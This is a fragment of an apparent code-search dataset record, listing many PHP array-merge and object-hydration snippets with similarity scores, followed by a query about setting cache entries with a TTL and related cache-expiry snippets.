{\n $arr[$oldkey] = $newval;\n }\n } else {\n $arr[$newkey] = $newval;\n }\n }\n }\n\n return $arr;\n}", "public function fromArray($data = array())\n {\n foreach ($data as $property => $value) {\n $method = \"set{$property}\";\n $this->$method($value);\n }\n }", "public function merge($arr = [])\n {\n $newData = array_merge($this->toArray(), $arr);\n return $this->reset($newData);\n }", "public function hydrate(array $data)\n {\n foreach ($data as $key => $value) {\n $method = 'set'.ucfirst($key);\n\n if (method_exists($this, $method)) {\n $this->$method($value);\n }\n }\n }", "public function merge($input)\n\t{\n\t\t$values = (array) json_decode($this->json);\n\n\t\t$values = array_merge($values, $input);\n\n\t\t$this->json = json_encode($values);\n\n\t\t$this->count = count($values);\n\n\t\t// add the new inputs to our existing object\n\t\t// or else our json representation will be\n\t\t// out of sync with our values on this FieldValue\n\t\tforeach ($input as $key => $value)\n\t\t{\n\t\t\t$this->$key = $value;\n\t\t}\n\t}", "public function merge();", "public function merge(&$data) {\n\t\tarray_merge($this->data, $data);\n\t}", "private function mergeData(string $className, ?array $data = null): array\n {\n return \\array_merge($this->getDefaultData($className), $data ?? []);\n }", "public function loadData(Array $data): void\n {\n foreach($data as $fieldName => $fData) {\n if (property_exists($this, $fieldName)) {\n $this->{$fieldName} = $fData;\n }\n }\n }", "public function set_values_from_array(array $Data) {\n foreach ($Data as $field => $value) {\n if (!isset ($this->$field)) continue;\n $this->$field->setValue ($value);\n }\n }", "public function merge(array $array) {\n\t\t$this->_value = Hash::merge($this->_value, $array);\n\n\t\treturn $this;\n\t}", "function data_merge($new)\n\t{\n\t\tparent::data_merge($new);\n\n\t\tif ($this->customfields)\n\t\t{\n\t\t\tforeach(array_keys($this->customfields) as $name)\n\t\t\t{\n\t\t\t\tif (isset($new[$field = $this->get_cf_field($name)]))\n\t\t\t\t{\n\t\t\t\t\t$this->data[$field] = $new[$field];\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "public static function merge(...$data)\n {\n if (empty($data)) {\n return [];\n }\n $return = array_shift($data);\n $from = static::getShallowType($return);\n foreach ($data as $datum) {\n $to = static::getShallowType($datum);\n if ($from === 'boolean') {\n $return = $datum;\n } elseif ($to === 'boolean') {\n $return = $datum === false ? false : $return;\n } elseif ($from === 'number' && $to === 'number') {\n $return = (float) $return + (float) $datum;\n } elseif (in_array($from, ['string', 'number']) && in_array($to, ['string', 'number'])) {\n $return .= $datum;\n } elseif ($from === 'object' && in_array($to, ['array', 'object'])) {\n foreach ($datum as $key => $value) {\n if (!is_int($key)) {\n if ((is_object($return->{$key}) || is_array($return->{$key})) &&\n (is_object($value) || is_array($value))\n ) {\n $return->{$key} = static::merge($return->{$key}, $value);\n } else {\n $return->{$key} = $value;\n }\n }\n }\n } elseif ($from === 'array' && $to === 'object') {\n foreach ($datum as $key => $value) {\n if ((is_object($return[$key]) || is_array($return[$key])) &&\n (is_object($value) || is_array($value))\n ) {\n $return[$key] = static::merge($return[$key], $value);\n } else {\n $return[$key] = $value;\n }\n }\n } elseif ($from === 'array' && $to == 'array') {\n foreach ($datum as $key => $value) {\n if (is_int($key)) {\n $return[] = $value;\n } else {\n if (isset($return[$key]) &&\n (is_object($return[$key]) || is_array($return[$key])) &&\n (is_object($value) || is_array($value))\n ) {\n $return[$key] = static::merge($return[$key], $value);\n } else {\n $return[$key] = $value;\n }\n }\n }\n } else {\n $return = $datum;\n }\n }\n return $return;\n }", "public function hydrate($data) {\n foreach ($data as $key => $value) {\n $method = 'set' . ucfirst($key);\n if(!isset($value)){\n $v = null;\n }else{\n $v = $value;\n }\n if (method_exists($this, $method)) {\n $this -> $method($v);\n }\n }\n\t}", "abstract public function combineWith(array $array);", "function __mergeMetadata($metadatas, &$destination) {\r\n\t\tforeach($metadatas as $metadata) {\r\n\t\t\t$destination[$metadata['name']] = $metadata['value'];\r\n\t\t}\r\n\t}", "public function merge() {}", "public function merge() {\n\t\t// Holds all the arrays passed\n\t\t$params = &func_get_args();\n\t\t\n\t\t// First array is used as the base, everything else overwrites on it\n\t\t$return = array_shift ( $params );\n\t\t\n\t\t// Merge all arrays on the first array\n\t\tforeach ( $params as $array ) {\n\t\t\tforeach ( $array as $key => $value ) {\n\t\t\t\t// Numeric keyed values are added (unless already there)\n\t\t\t\tif (is_numeric ( $key ) && (! in_array ( $value, $return ))) {\n\t\t\t\t\tif (is_array ( $value )) {\n\t\t\t\t\t\t$return [] = $this->merge ( $return [$key], $value );\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$return [] = $value;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t// String keyed values are replaced\n\t\t\t\t} else {\n\t\t\t\t\tif (isset ( $return [$key] ) && is_array ( $value ) && is_array ( $return [$key] )) {\n\t\t\t\t\t\t$return [$key] = $this->merge ( $return[$key], $value );\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$return [$key] = $value;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn $return;\n\t}", "private static function arrayMerge(array $self, array $array)\n {\n foreach ($self as $val) {\n $s[$val] = null;\n }\n\n return array_merge($s, $array);\n }", "public function __construct(array $data)\n {\n foreach($this->attributes() as $property => $type) {\n if (!isset($data[$property])) {\n continue;\n }\n\n if ($type === Type::STRING || $type === Type::ANY) {\n $this->_properties[$property] = $data[$property];\n } elseif ($type === Type::BOOLEAN) {\n if (!\\is_bool($data[$property])) {\n $this->_errors[] = \"property '$property' must be boolean, but \" . gettype($data[$property]) . \" given.\";\n continue;\n }\n $this->_properties[$property] = (bool) $data[$property];\n } elseif (\\is_array($type)) {\n if (!\\is_array($data[$property])) {\n $this->_errors[] = \"property '$property' must be array, but \" . gettype($data[$property]) . \" given.\";\n continue;\n }\n switch (\\count($type)) {\n case 1:\n // array\n $this->_properties[$property] = [];\n foreach($data[$property] as $item) {\n if ($type[0] === Type::STRING) {\n if (!is_string($item)) {\n $this->_errors[] = \"property '$property' must be array of strings, but array has \" . gettype($item) . \" element.\";\n }\n $this->_properties[$property][] = $item;\n } elseif ($type[0] === Type::ANY || $type[0] === Type::BOOLEAN || $type[0] === Type::INTEGER) { // TODO simplify handling of scalar types\n $this->_properties[$property][] = $item;\n } else {\n // TODO implement reference objects\n $this->_properties[$property][] = new $type[0]($item);\n }\n }\n break;\n case 2:\n // map\n if ($type[0] !== Type::STRING) {\n throw new \\Exception('Invalid map key type: ' . $type[0]);\n }\n $this->_properties[$property] = [];\n foreach($data[$property] as $key => $item) {\n if ($type[1] === 'string') {\n if (!is_string($item)) {\n $this->_errors[] = \"property '$property' must be map<string, string>, but entry '$key' is of type \" . \\gettype($item) . '.';\n }\n $this->_properties[$property][$key] = $item;\n } elseif ($type[1] === Type::ANY || $type[1] === Type::BOOLEAN || $type[1] === Type::INTEGER) { // TODO simplify handling of scalar types\n $this->_properties[$property][$key] = $item;\n } else {\n // TODO implement reference objects\n $this->_properties[$property][$key] = new $type[1]($item);\n }\n }\n break;\n }\n } else {\n $this->_properties[$property] = new $type($data[$property]);\n }\n unset($data[$property]);\n }\n foreach($data as $additionalProperty => $value) {\n $this->_properties[$additionalProperty] = $value;\n }\n }", "public function mergeMetadata(array $metadata);", "function setValues($array){\r\n\t\tforeach($array as $key => $val){\r\n\t\t\t$key = lcfirst(str_replace(\" \",\"\",ucwords(str_replace(\"_\",\" \",$key))));\r\n\t\t\tif(property_exists($this,$key))\r\n\t\t\t\t$this->$key = $val;\r\n\t\t}\r\n\t}", "function setValues($array){\r\n\t\tforeach($array as $key => $val){\r\n\t\t\t$key = lcfirst(str_replace(\" \",\"\",ucwords(str_replace(\"_\",\" \",$key))));\r\n\t\t\tif(property_exists($this,$key))\r\n\t\t\t\t$this->$key = $val;\r\n\t\t}\r\n\t}", "function array_dot_merge(array $array, array $patch) {\n\t$final = $array;\n\tforeach($patch as $k => $v) {\n\t\t$final = array_dot_set($final, $k, $v);\n\t}\n\treturn $final;\n}", "protected static function smart_array_merge ($array1, $array2) {\n\t\tif (isset($array1['class'], $array2['class'])) {\n\t\t\t$array1['class'] .= \" $array2[class]\";\n\t\t\tunset($array2['class']);\n\t\t}\n\t\tif (isset($array1['style'], $array2['style'])) {\n\t\t\t$array1['style'] = trim($array1['style'], ';').\";$array2[style]\";\n\t\t\tunset($array2['style']);\n\t\t}\n\t\treturn array_merge($array1, $array2);\n\t}", "public function loadData($data)\n {\n foreach ($data as $key => $value) {\n if(property_exists($this, $key))\n {\n $this->{$key} = $value;\n }\n }\n }", "public function merge(self $merge)\n {\n /** @var Config $value */\n foreach ($merge as $key => $value) {\n if (array_key_exists($key, $this->data)) {\n if (is_int($key)) {\n $this->data[] = $value;\n } elseif ($value instanceof self && $this->data[$key] instanceof self) {\n $this->data[$key]->merge($value);\n } else {\n if ($value instanceof self) {\n $this->data[$key] = new self($value->toArray());\n } else {\n $this->data[$key] = $value;\n }\n }\n } else {\n if ($value instanceof self) {\n $this->data[$key] = new self($value->toArray());\n } else {\n $this->data[$key] = $value;\n }\n }\n }\n\n return $this;\n }", "public function convertObjIntoAssArr(){\n\n $assArrOfObjPro = array();\n//taking value from array and checking if property is in class and than assign key and value to make array\n foreach(self::$db_table_fields as $db_table_field){\n if(property_exists($this,$db_table_field)){\n $assArrOfObjPro[$db_table_field] = $this->$db_table_field;\n }\n } return $assArrOfObjPro;\n }", "function setValues($array){\r\n\t\tforeach($array as $key => $val)\r\n\t\t\tif(property_exists($this,$key))\r\n\t\t\t\t$this->$key = $val;\r\n\t}", "public function mergeExtraData(array $array)\n {\n $this->extra_data = array_merge($this->extra_data, $array);\n }", "abstract public function combineTo(array $array);", "public function fromArray($data)\r\n {\r\n $inputFilter = $this->getInputFilter($data);\r\n if (!$inputFilter->isValid()) {\r\n Thrower::throwValidationException('Error de Validacion', $inputFilter->getMessages());\r\n }\r\n $data = $inputFilter->getValues();\r\n \r\n foreach ($data as $property => $value) {\r\n $this->$property = $value;\r\n }\r\n }", "public function fill($data)\n {\n $fillableMap = $this->fillable();\n\n $refPropertyList = static::_getReflectionPropertyList();\n foreach ($refPropertyList as $property) {\n $propertyKey = static::_getPropertyKey($property);\n\n // If the property is not fillable\n if (!isset($fillableMap[$propertyKey])) {\n continue;\n }\n // If the property is not supplied on the data map, go to next property\n if (!array_key_exists($propertyKey, $data)) {\n continue;\n }\n\n // Check if the setter method exists, if so, then use it to set the value\n $setterMethod = 'set' . ucfirst($propertyKey);\n if (method_exists($this, $setterMethod)) {\n $this->{$setterMethod}($data[$propertyKey]);\n continue;\n }\n\n // At this point we know there is no setter, but that the property does exist, so just assign\n $this->{$property->getName()} = $data[$propertyKey];\n }\n\n return $this;\n }", "public function __construct($data = Array()){\n\n if(is_object($data)){\n $data = (array) $data;\n }//if\n\n if(count($data)){\n $this->data = array_merge( array_intersect_key($data, array_flip(array_keys($this->definition) ) ) );\n }//if\n\n }", "public function customArrayMerge($source, & $destination) {\n if (is_array($source) && (is_array($destination) || is_object($destination))) {\n foreach ($source as $key => $item) {\n $destination[\"{$key}\"] = $item;\n }\n }\n }", "public function update(array $data)\n {\n if (empty($data)) {\n return;\n }\n\n collect($data)->each(function ($value, $key) {\n $this->{$key} = $value;\n });\n }", "public function fromArray($array) {\n \n foreach ( $array as $key => $value ) {\n \n if ( $this->$key instanceof PersistentCollection ) {\n \n $value = new ArrayCollection(\n array_unique(array_merge($this->$key->toArray(), $value->toArray()), \\SORT_REGULAR)\n );\n \n }\n \n $this->$key = $value; \n }\n \n //return $this;\n }", "public function fromArray($array) {\n \n foreach ( $array as $key => $value ) {\n \n if ( $this->$key instanceof PersistentCollection ) {\n \n $value = new ArrayCollection(\n array_unique(array_merge($this->$key->toArray(), $value->toArray()), \\SORT_REGULAR)\n );\n \n }\n \n $this->$key = $value; \n }\n \n //return $this;\n }", "public function mergeImport($importData) {\n foreach ($importData as $key => $value) {\n $this->{$key} = $value;\n }\n }", "public function loadData($data)\n {\n foreach ($data as $key => $value) {\n if (property_exists($this, $key)) {\n $this->{$key} = $value;\n }\n }\n }", "public function mapToRow()\n {\n $rowData = [];\n\n $refPropertyList = static::_getReflectionPropertyList();\n $reader = static::_getAnnotationReader();\n foreach ($refPropertyList as $property) {\n /* @var $annotation \\Pley\\DataMap\\Annotations\\Meta\\Property */\n $annotation = $reader->getPropertyAnnotation($property, \\Pley\\DataMap\\Annotations\\Meta\\Property::class);\n if ($annotation && $annotation->getColumnName()) {\n $rowData[$annotation->getColumnName()] = $this->{$property->getName()};\n }\n }\n\n return $rowData;\n }", "public function __construct($data) { \n foreach ($data as $key => $value) {\n if (array_key_exists($key, $this->data)) $this->data[$key] = $value;\n }\n}", "protected function _fillFromArray($entity, $data)\n { \n \n if ($data) {\n \n foreach ($data as $key => $value) {\n if (!is_null($value)){\n if (is_array($value)) {\n $className = 'MercadoPago\\\\' . $this->_camelize($key);\n if (class_exists($className, true)) {\n $entity->_setValue($key, new $className, false);\n $entity->_fillFromArray($this->{$key}, $value);\n } else {\n $entity->_setValue($key, json_decode(json_encode($value)), false);\n }\n continue;\n }\n $entity->_setValue($key, $value, false);\n }\n }\n }\n }", "static function merge($x,$y){\n\t\t$arrays = func_get_args();\n\t\t$result = [];\n\t\tforeach($arrays as $array){\n\t\t\tif(is_object($array)){\n\t\t\t\t$array = self::from($array);\n\t\t\t}\n\t\t\tif(is_array($array)){\n\t\t\t\t$result = array_merge($result,$array);\n\t\t\t}\n\t\t}\n\t\treturn $result;\n\t}", "public function hydrate(array $data) \n\t{\n\t\t// \t\t\t\"title\" => \"Mon titre\"\n\t\t// ]\n\t\tforeach ($data as $key => $value)\n\t\t{\n\t\t\t// $key = \"title\", $value = \"Mon titre\"\n\t\t\t$method = 'set' . ucfirst($key);\n\t\t\t// $method = setTitle\n\t\t\tif(method_exists($this, $method))\n {\n\t\t\t\t// $this->setTitle(\"Mon titre\")\n $this->$method($value);\n }\n\t\t}\n\t}", "public function hydrate(array $datas)\n\t{\n\t\tforeach ($datas as $key => $value)\n\t\t{\n\t\t $method = 'set'.ucfirst($key);\n\t\t if (method_exists($this, $method))\n\t\t\t$this->$method($value);\n\t\t}\n\t}", "function set(array $array){\n foreach($this as $atributo => $valor){\n if(isset($array[$atributo])){\n $this->$atributo = $array[$atributo];\n }\n }\n }", "protected function hydrate($array){\r\n\t\tforeach ($array as $key => $value) {\r\n\t\t\t$methodName = 'set'.ucfirst($key);\r\n\t\t\tif(method_exists($this, $methodName)){\r\n\t\t\t\t$this->$methodName($value);\r\n\t\t\t}\r\n\t\t}\r\n\t}", "public function exchangeArray(array $data)\n {\n foreach($data as $key=>$value)\n {\n $this->$key = ! empty($value) ? $value : null;\n }\n }", "function set(array $data) {\n\t\tforeach ($data as $key => $value) {\n\t\t\t$this->$key = $value;\n\t\t}\n\t}", "public function hydrate(array $data);", "function merge($a,$b) {\n return $obj_merged = (object) array_merge((array) $b, (array) $a);\n // foreach($a as $k => $v) {\n // dump($k,$v);\n // $b->$k = $v;\n // } \n // return $b;\n}", "public function testMerge() {\n $data1 = array(\n 'foo' => 'bar',\n 'boolean' => true,\n 'string' => 'abc',\n 'number' => 123,\n 'one'\n );\n\n $data2 = array(\n 'foo' => 'baz',\n 'boolean' => false,\n 'string' => 'xyz',\n 'number' => 456,\n 'two'\n );\n\n $this->assertEquals(array(\n 'foo' => 'baz',\n 'boolean' => false,\n 'string' => 'xyz',\n 'number' => 456,\n 'two'\n ), Hash::merge($data1, $data2));\n\n $data1['array'] = array(\n 'key' => 'value',\n 123,\n true\n );\n\n $data2['array'] = array();\n\n $this->assertEquals(array(\n 'foo' => 'baz',\n 'boolean' => false,\n 'string' => 'xyz',\n 'number' => 456,\n 'two',\n 'array' => array(\n 'key' => 'value',\n 123,\n true\n )\n ), Hash::merge($data1, $data2));\n\n $data2['array'] = array(\n 'key' => 'base',\n 'foo' => 'bar',\n 123\n );\n\n $this->assertEquals(array(\n 'foo' => 'bar',\n 'boolean' => true,\n 'string' => 'abc',\n 'number' => 123,\n 'one',\n 'array' => array(\n 'key' => 'value',\n 'foo' => 'bar',\n 123,\n true\n )\n ), Hash::merge($data2, $data1));\n\n $this->assertEquals(array(), Hash::merge());\n }", "private function formate_change_individual($data) {\n foreach ($data as $key => $value) {\n $data[$key]->class_start_datetime = date('d-m-Y', strtotime($value->class_start_datetime));\n $data[$key]->class_end_datetime = date('d-m-Y', strtotime($value->class_end_datetime));\n $data[$key]->enrolled_on = date('d-m-Y', strtotime($value->enrolled_on));\n }\n return $data;\n }", "private function mapPropsToValues(): array\r\n {\r\n $values = [];\r\n $values['customer_id'] = $this->customer_id;\r\n $values['document_set_id'] = $this->document_set_id;\r\n $values['our_reference'] = $this->our_reference;\r\n $values['your_reference'] = $this->your_reference;\r\n $values['date'] = $this->date;\r\n $values['expiration_date'] = $this->expiration_date;\r\n $values['financial_discount'] = $this->financial_discount;\r\n $values['special_discount'] = $this->special_discount;\r\n $values['salesman_id'] = $this->salesman_id;\r\n $values['salesman_commission'] = $this->salesman_commission;\r\n\r\n $values['notes'] = $this->notes;\r\n $values['status'] = DocumentStatus::DRAFT;\r\n $values['eac_id'] = $this->caeId;\r\n $values['products'] = $this->products;\r\n\r\n if ($this->shouldAddShippingInformation()) {\r\n $values['delivery_datetime'] = $this->delivery_datetime;\r\n $values['delivery_method_id'] = $this->delivery_method_id;\r\n\r\n $values['delivery_departure_address'] = $this->delivery_departure_address;\r\n $values['delivery_departure_city'] = $this->delivery_departure_city;\r\n $values['delivery_departure_zip_code'] = $this->delivery_departure_zip_code;\r\n $values['delivery_departure_country'] = $this->delivery_departure_country;\r\n\r\n $values['delivery_destination_address'] = $this->delivery_destination_address;\r\n $values['delivery_destination_city'] = $this->delivery_destination_city;\r\n $values['delivery_destination_zip_code'] = $this->delivery_destination_zip_code;\r\n $values['delivery_destination_country'] = $this->delivery_destination_country;\r\n }\r\n\r\n if ($this->shouldAddPayment()) {\r\n $values['payments'] = $this->payments;\r\n }\r\n\r\n if (!empty($this->exchange_currency_id)) {\r\n $values['exchange_currency_id'] = $this->exchange_currency_id;\r\n $values['exchange_rate'] = $this->exchange_rate;\r\n }\r\n\r\n if (!empty($this->associatedDocuments)) {\r\n $this->associateDocuments($values);\r\n }\r\n\r\n return $values;\r\n }", "function data_merge($new)\n\t{\n\t\tif ((int) $this->debug >= 4) echo \"<p>so_sql::data_merge(\".print_r($new,true).\")</p>\\n\";\n\n\t\tif (!is_array($new) || !count($new))\n\t\t{\n\t\t\treturn;\n\t\t}\n\t\tforeach($this->db_cols as $db_col => $col)\n\t\t{\n\t\t\tif (array_key_exists($col,$new))\n\t\t\t{\n\t\t\t\t$this->data[$col] = $new[$col];\n\t\t\t}\n\t\t}\n\t\tforeach($this->non_db_cols as $db_col => $col)\n\t\t{\n\t\t\tif (array_key_exists($col,$new))\n\t\t\t{\n\t\t\t\t$this->data[$col] = $new[$col];\n\t\t\t}\n\t\t}\n\t\tif (isset($new[self::USER_TIMEZONE_READ]))\n\t\t{\n\t\t\t$this->data[self::USER_TIMEZONE_READ] = $new[self::USER_TIMEZONE_READ];\n\t\t}\n\t\tif ((int) $this->debug >= 4) _debug_array($this->data);\n\t}", "private function applyArray($arr)\n {\n foreach ($this as $key => $value)\n if (isset($arr[$key]))\n $this->$key = $arr[$key];\n }", "function get(array $data) {\n\t\t$values = [];\n\t\tforeach ($data as $key) {\n\t\t\t$values[$key] = $this->$key ?? null;\n\t\t}\n\n\t\treturn $values;\n\t}", "public function load_data( $data ) {\r\n foreach ( $data as $key => $value ) {\r\n $this->$key = $value;\r\n }\r\n }", "public static function mergeAttr(){\n\t\t$all_attr = func_get_args();\n\t\t$all_attr = array_filter($all_attr);\n\t\tforeach($all_attr as $x=>$attr){\n\t\t\tif(is_string($attr))parse_str($attr, $all_attr[$x]);\n\t\t}\n\t\treturn call_user_func_array('array_replace', $all_attr);\n\t}", "public function __construct($data = array()) {\n \n if(!is_array($data)){\n return;\n }\n \n foreach ($data as $key => $value) {\n $key = $this->_getKey($key);\n if(!$key) {\n continue;\n }\n \n $this->$key = $value;\n }\n }", "public function populate($data)\n {\n $set_data = [];\n\n foreach ((array)$data as $row_key => $row_value) {\n if (is_array($row_value) && isset($this->groups[$row_key])) {\n foreach ($row_value as $row_subkey => $row_subvalue) {\n $set_data[$row_key . '_' . $row_subkey] = $row_subvalue;\n }\n } else {\n $set_data[$row_key] = $row_value;\n }\n }\n\n foreach ($set_data as $field_name => $field_value) {\n if (isset($this->fields[$field_name])) {\n $field = $this->fields[$field_name];\n $field->setValue($field_value);\n }\n }\n }", "public function GetClassSCPropertiesInArray_Advance(DataSource $DS)\n {\n $rtnval = array();\n $propref = new \\ReflectionProperty(get_class($this), 'id');\n $propref->setAccessible(true);\n $PropValue = $propref->getValue($this);\n $rtnval['id'] = $PropValue;\n\n foreach ($DS->getFields() as $f) {\n\n if ($f == 'id') continue;\n $fieldName = $f->getFieldName();\n /*$fieldName=str_replace('_', '\\\\', $fieldName);\n $fieldName=urldecode($fieldName);\n if(strpos($fieldName, '\\\\')>-1) $fieldName=substr($fieldName, strpos($fieldName, '.')+1);\n */\n /*$fieldName=str_replace('.', '->', $fieldName);\n $fieldName='$this->'.$fieldName;\n print_r($fieldName.' TO EVAL . ');\n print_r($this->Title);\n $ap='';\n $b='$this->Title';\n $a=eval($b);\n print_r('eval1='.$a);\n print_r('eval1='.$ap);\n */\n try {\n $fieldName = \\ApplicationHelpers::TranslateFieldName_From_Client2Server($fieldName);\n $parts = explode('.', $fieldName);\n $PropValue = $this;\n $propref = null;\n //print_r($fieldName.':');\n //print_r($parts);\n try {\n for ($i = 0; $i < count($parts); $i++) {\n $_clsname = get_class($PropValue);\n if (\\ApplicationHelpers::IsORMProxyClass($_clsname)) $PropValue->DoctrineLoad();\n $propref = new \\ReflectionProperty(get_class($PropValue), $parts[$i]);\n\n\n //print_r(' | Class:'.$propref->class.' prop:'. $propref->name.' | ');\n $propref->setAccessible(true);\n if (isset($PropValue))\n $PropValue = $propref->getValue($PropValue);\n else {\n $PropValue = NULL;\n //print_r('Break at '.$parts[$i]);\n break;\n }\n /*echo gettype($PropValue);\n if(gettype($PropValue)=='object') echo 'Class:'.get_class($PropValue);\n echo '***';*/\n\n }\n } catch (\\Exception $e) {\n //print_r($e);\n $PropValue = NULL;\n } catch (\\ReflectionException $ec) {\n //print_r($e);\n $PropValue = NULL;\n }\n //print_r($PropValue);\n $rtnval[$f->getFieldName()] = $PropValue;\n } catch (Exception $e) {\n $rtnval[$f->getFieldName()] = null;\n }\n }\n return $rtnval;\n }", "static public function array_merge()\r\n\t{\r\n\t\t$args \t\t= func_get_args();\r\n\t\t$results\t= array();\r\n\t\tforeach($args as $array) {\r\n\t\t\tforeach($array as $key => $value) {\r\n\t\t\t\t$results[$key] = $value;\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\treturn $results;\r\n\t}", "function acf_merge_attributes($array1, $array2)\n{\n}", "public function merge(iterable $data, int $flags = NONE): self\n {\n $mergedFlags = $this->getFlags() | $flags;\n $snakeCase = !($mergedFlags & CAMEL_CASE_ARRAY);\n $replacements = ArrayConverter::instance()->convert($data, $snakeCase);\n $mergedData = array_replace_recursive($this->toArray(), $replacements);\n\n if (!($this->getFlags() & MUTABLE)) {\n return new static($mergedData, $mergedFlags);\n }\n\n $this->flags = $mergedFlags;\n $this->propertiesMap = $this->mapData($mergedData);\n\n return $this;\n }", "protected function update( $data = array() )\n {\n foreach ( $data as $property => $value ) {\n if ( property_exists( get_called_class(), $property ) ) {\n $this->$property = $value;\n }\n }\n }", "public function __construct(array $data = array()) {\n foreach ($data as $key => $value) {\n $this->$key = $value;\n }\n }", "public function __construct(array $data = array()) {\n foreach ($data as $key => $value) {\n $this->$key = $value;\n }\n }", "public function __construct(array $data = array()) {\n foreach ($data as $key => $value) {\n $this->$key = $value;\n }\n }", "public static function arrayMergeAssoc() {\n\t$result = array();\n\t$arrays = func_get_args();\n\tforeach($arrays as $array) {\n\t\tif ($array == null) {\n\t\t\tcontinue;\n\t\t}\n\t\tforeach($array as $key => $value) {\n\t\t\t$result[$key] = $value;\n\t\t}\n\t}\n\treturn $result;\n}", "public function __fill(array $data = []): self\n {\n foreach ($data as $key => $value) {\n $setter = 'set' . snakeToCamel($key);\n\n if (method_exists($this, $setter)) {\n $this->$setter($value);\n }\n }\n\n return $this;\n }", "public function exchangeArray(array $array)\n {\n $values = get_object_vars($this);\n\n foreach (array_keys($values) as $property) {\n if (array_key_exists($property, $array)) {\n $this->$property = $array[$property];\n }\n }\n }", "protected function getDataArray() {\n trace('[METHOD] '.__METHOD__);\n\n\t\t$dataArray = array();\n\n\t\tforeach (get_class_vars( __CLASS__ ) as $propertyname => $pvalue) {\n\t\t\t$getter = 'get_'.$propertyname;\n\t\t\t$dataArray[$propertyname] = $this->$getter();\n\t\t}\n\n\t\treturn $dataArray;\n\t}", "private function setValues()\n {\n foreach($this->data as $type => $values)\n if(!preg_match('/(library)/i', $type))\n foreach($values as $key => $value)\n $this->{strtolower($type)}[$key] = $value;\n }", "static function merge() {\n\t\t$base = array();\n\t\t$args = func_get_args();\n\n\t\tforeach ( $args as $arg ) {\n\t\t\tself::array_merge( $base, $arg );\n\t\t}\n\n\t\treturn $base;\n\t}", "public static function mergeConfig(): array\n {\n $args = \\func_get_args();\n $res = array_shift($args) ?: [];\n foreach ($args as $items) {\n if (!\\is_array($items)) {\n continue;\n }\n foreach ($items as $k => $v) {\n if ($v instanceof \\yii\\helpers\\UnsetArrayValue || $v instanceof \\Yiisoft\\Arrays\\UnsetArrayValue) {\n unset($res[$k]);\n } elseif ($v instanceof \\yii\\helpers\\ReplaceArrayValue || $v instanceof \\Yiisoft\\Arrays\\ReplaceArrayValue) {\n $res[$k] = $v->value;\n } elseif (\\is_int($k)) {\n /// XXX skip repeated values\n if (\\in_array($v, $res, true)) {\n continue;\n }\n if (isset($res[$k])) {\n $res[] = $v;\n } else {\n $res[$k] = $v;\n }\n } elseif (\\is_array($v) && isset($res[$k]) && \\is_array($res[$k])) {\n $res[$k] = self::mergeConfig($res[$k], $v);\n } else {\n $res[$k] = $v;\n }\n }\n }\n\n return $res;\n }", "protected function _dataMerge( $row )\n\t{\n\t\tif ( $row instanceof Zend_Db_Table_Row )\n\t\t\t$row = $row->toArray();\n\t\t\n\t\t$this->_data = array_merge($this->_data, $row);\n\t\t\n\t\tif (array_key_exists('user_id', $this->_data))\n\t\t\t$this->ownerUserId = $this->_data['user_id'];\n\t}", "public function setFromArray(array $data): AbstractEntity {\n\n foreach ($data as $property => $value) {\n\n if(true === is_array($value)) {\n $value = filter_var_array($value, FILTER_SANITIZE_SPECIAL_CHARS);\n } else {\n $value = filter_input(INPUT_POST, $property, FILTER_SANITIZE_SPECIAL_CHARS);\n }\n $this->vars[$property] = $value;\n }\n return $this;\n }" ]
[ "0.5965747", "0.5953099", "0.58527875", "0.5801883", "0.57939446", "0.57903546", "0.5767365", "0.57408684", "0.56695694", "0.5644805", "0.5600565", "0.55907315", "0.558294", "0.55434966", "0.55378735", "0.5518452", "0.5502884", "0.5494945", "0.54803425", "0.54773223", "0.5464403", "0.5456835", "0.5441628", "0.5420665", "0.54130644", "0.54087263", "0.54015523", "0.53702784", "0.536342", "0.534513", "0.53417975", "0.5334891", "0.53329027", "0.5283905", "0.5264377", "0.5259094", "0.5241687", "0.52375656", "0.5205287", "0.5193512", "0.5186255", "0.5168886", "0.5160224", "0.5143193", "0.5143193", "0.51380354", "0.5137359", "0.511938", "0.5114856", "0.51089716", "0.5107314", "0.51053566", "0.50970113", "0.5096262", "0.5093671", "0.50744253", "0.50725734", "0.5050608", "0.504836", "0.504836", "0.5048183", "0.5044995", "0.5039306", "0.5038414", "0.50331473", "0.50293505", "0.50238115", "0.5020758", "0.5018346", "0.50178576", "0.5005914", "0.49969846", "0.49906445", "0.49885714", "0.49831024", "0.49770853", "0.49611366", "0.4957969", "0.49433377", "0.49298185", "0.4921997", "0.49175274", "0.49174607", "0.4912214", "0.49047333", "0.49016866", "0.4899648", "0.48976204", "0.48723152", "0.48720106", "0.48720106", "0.48720106", "0.48696056", "0.48553", "0.48550072", "0.48525056", "0.4846503", "0.4844779", "0.48388496", "0.48242897", "0.48137575" ]
0.0
-1
ttl = 0, means month store (cache keys versions in most cases), in any other case I use user provided expire key
public function set($key, $value, $compress, $ttl = 0) { if ($ttl == 0) { $this->redis->setex($key,2678400,$value); // One month } else { $this->redis->setex($key,$ttl,$value); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function expire($key,$ttl){\n\n //get expire\n $this->client->expire($key,$ttl);\n }", "public function expire($key, $ttl=0) {\n return 0;\n }", "public function getCacheTTL();", "public function store($key,$var,$ttl);", "function acquire($key, $ttl);", "public function expires($key) {\n\t\t$cache = apc_cache_info('user');\n\t\tif (empty($cache['cache_list'])) {\n\t\t\treturn false;\n\t\t}\n\t\tforeach ($cache['cache_list'] as $entry) {\n\t\t\tif ($entry['info'] != $key) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif ($entry['ttl'] == 0) {\n\t\t\t\treturn 0;\n\t\t\t}\n\t\t\t$expire = $entry['creation_time']+$entry['ttl'];\n\t\t\treturn $expire;\n\t\t}\n\t\treturn false;\n\t}", "public function add($key,$var,$ttl);", "protected function stashTtl($key = array(), $ttl = 0)\n {\n if ($ttl === 0) {\n // there's no point in storing expiry when there's no expiry\n return;\n }\n // $key can be both string (1 key) or array (multiple)\n $keys = (array) $key;\n $time = \\time() + $ttl;\n foreach ($keys as $key) {\n $this->expires[$key] = $time;\n }\n }", "public function setCacheExpiry($ttl = 3600)\n {\n $this->cachePeriod = abs(intval($ttl));\n }", "public function 